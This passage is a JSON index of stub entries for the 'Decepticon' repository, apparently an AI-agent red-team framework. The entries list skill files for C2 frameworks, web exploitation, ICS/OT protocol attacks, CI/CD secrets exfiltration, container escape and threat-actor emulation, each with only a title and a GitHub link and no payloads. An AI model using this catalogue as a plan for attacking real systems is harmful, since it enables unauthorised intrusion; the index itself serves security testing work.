GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md":"# havoc\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md)","packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md":"# dynamic\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md)","packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md":"# il2cpp\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md":"# saml\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md":"# race-condition\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md":"# proxy-misconfig\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md":"# php-type-juggling\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md":"# open-redirect\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md":"# oauth\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md":"# nosqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md":"# mfa-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md":"# mass-assignment\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md":"# lfi\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md":"# ldapi\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md":"# jwt\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md":"# idor\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md":"# hpp\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md":"# header-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md":"# graphql\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md":"# file-upload\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md":"# dom-clobbering\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md":"# dns-rebinding\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md":"# deserialization\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md":"# cve\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md":"# csrf\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md":"# crypto\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md":"# cors\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md":"# command-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md":"# clickjacking\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md":"# cache-deception\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md":"# business-logic\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md":"# blind-sqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md":"# bfla\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md":"# ato-methodology\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md":"# smuggling\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md":"# sqli\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md":"# ssrf\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md":"# ssti\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md":"# verb-tampering\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md":"# waf-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md":"# web-cache-poisoning\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md":"# xpath-xslt\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md":"# xs-leaks\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md":"# xss\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md":"# xxe\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md":"# dep-confusion\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md":"# s7comm\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md":"# profinet\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md":"# opcua\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md":"# modbus\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md":"# enip-cip\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md":"# dnp3\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md":"# bacnet\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md":"# self-hosted-runner-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md":"# poisoned-pipeline-execution\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md":"# github-actions-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md":"# cicd-secrets-exfil\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md":"# server-sent-events\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md":"# grpc\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md":"# soap-wsdl\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md":"# websocket\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md":"# k8s-rbac-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md":"# k8s-pod-escape\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md":"# docker-socket-mount\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md":"# container-cve\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md":"# xss-to-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md":"# ssrf-to-rce\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md":"# idor-to-priv-esc\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md":"# cred-reuse\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md":"# scattered-spider\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md":"# sandworm\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md":"# lockbit\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md":"# lazarus\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md":"# fin7\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md":"# apt29\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md":"# volt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md)","docs/agents.md":"# docs - AI Agent Protocol & Instructions\n\nPath: `docs/agents.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/agents.md)","docs/architecture.md":"# docs - System Architecture & Module Boundaries\n\nPath: `docs/architecture.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/architecture.md)","docs/skills.md":"# docs - Workspace Skills & Capabilities Index\n\nPath: `docs/skills.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/skills.md)","docs/tools/open-web.md":"# Tools Skill\n\nPath: `docs/tools/open-web.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/tools/open-web.md)","packages/decepticon-sdk/README.md":"# decepticon-sdk Documentation\n\nPath: `packages/decepticon-sdk/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/README.md)","packages/decepticon-core/README.md":"# decepticon-core Documentation\n\nPath: `packages/decepticon-core/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-core/README.md)","packages/decepticon/README.md":"# decepticon Documentation\n\nPath: `packages/decepticon/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/README.md)","packages/decepticon-sdk/examples/README.md":"# examples Documentation\n\nPath: 